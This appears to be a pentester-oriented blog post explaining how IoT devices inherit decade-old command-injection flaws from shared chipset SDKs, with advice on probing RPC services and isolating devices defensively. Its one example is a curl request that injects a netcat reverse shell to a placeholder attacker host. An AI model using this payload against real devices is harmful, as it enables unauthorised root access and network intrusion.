Why Your IoT Target is Running Decade-Old Vulnerable Code

TLDR: Embedded devices often rely on shared, third-party SDKs that contain unpatched, legacy vulnerabilities. Because these SDKs are integrated into diverse product lines, a single command injection bug can provide a persistent backdoor across multiple vendors and hardware architectures. Pentesters should stop treating IoT devices as isolated targets and start auditing the underlying chipset SDKs for common, inherited flaws.

Security researchers often fall into the trap of analyzing an IoT device as a standalone product. We look at the web interface, the mobile app, and the local API, assuming the firmware is a unique creation of the vendor. That assumption is a massive blind spot. Most of these devices are built on top of a System-on-Chip (SoC) reference design provided by a handful of major manufacturers. When you find a vulnerability in the SDK, you are not just finding a bug in one product; you are finding a flaw in the entire ecosystem of devices that share that chipset.

The Persistence of SDK Vulnerabilities

The core issue is the lifecycle of an SDK. A chipset manufacturer releases a reference design, complete with a proprietary SDK, to help vendors get their products to market quickly. These SDKs are often bloated with unnecessary services, proprietary network protocols, and example code that was never intended for production. Once the vendor integrates this SDK, they rarely update it. If a vulnerability exists in the SDK, it becomes a permanent feature of every device that uses that chipset.

This creates a scenario where a bug found in 2014 remains exploitable in 2025. The vendor might patch the web interface, but the underlying RPC service or the proprietary network daemon remains untouched. This is exactly how vulnerabilities like Command Injection persist for years. You are not just attacking the vendor; you are attacking the foundational code that the vendor was too lazy or too under-resourced to audit.

Exploiting the Shared Attack Surface

When you are on an engagement, your first step should be identifying the chipset. If you see a device running a Broadcom, Realtek, or Quantenna chipset, you are likely looking at a known quantity of legacy code. These chipsets often expose RPC services that are poorly implemented and lack basic authentication.

Consider a typical command injection scenario in an IoT RPC service. The service might take a user-supplied parameter and pass it directly to a system call without sanitization. If you can reach the service, you can execute arbitrary commands with root privileges. Because this code is part of the SDK, the same payload often works across dozens of different devices from different manufacturers.

# Example of a common command injection pattern in an IoT RPC service
# The service takes a 'host' parameter and pings it
curl -X POST http://<target_ip>/rpc/ping -d '{"host": "8.8.8.8; /bin/sh -c 'nc -e /bin/sh <attacker_ip> 4444'"}'

This is not a sophisticated exploit. It is a failure of basic input validation that has been present in these SDKs for years. The impact is total system compromise. Once you have a shell, you can pivot into the internal network, sniff traffic, or use the device as a permanent foothold in the target environment.

Why Pentesters Should Care

If you are a bug bounty hunter or a pentester, stop looking for complex zero-days in the application layer. Start looking at the services that the device exposes by default. Use tools like Nmap to identify open ports and then use Metasploit or custom scripts to probe the RPC interfaces.

The most effective way to find these bugs is to look for the "old" stuff. If you find a service that looks like it was written in the early 2000s, it probably was. These services are rarely updated and are prime targets for T1190: Exploit Public-Facing Application and T1210: Exploitation of Remote Services. When you find a vulnerability, check if it affects other devices using the same chipset. You might find that your single bug report is actually a critical finding for an entire class of devices.

The Defensive Reality

Defenders are in a tough spot. They cannot easily patch the SDKs because they do not own the source code. The best they can do is isolate these devices on a separate network segment and restrict access to the management interfaces. If you are working with a blue team, advise them to treat IoT devices as untrusted, compromised assets by default. Disable any unnecessary services and ensure that the device cannot communicate with the internet unless absolutely required.

The reality of IoT security is that we are living in a world of "immortal" bugs. The code that runs our smart homes and industrial controllers is often a decade old and fundamentally broken. As researchers, our job is to expose these flaws and force the industry to move away from the "ship it and forget it" model. If you find a bug in an SDK, document it, report it, and then look for the next device that uses the same chipset. You will likely find the same bug waiting for you.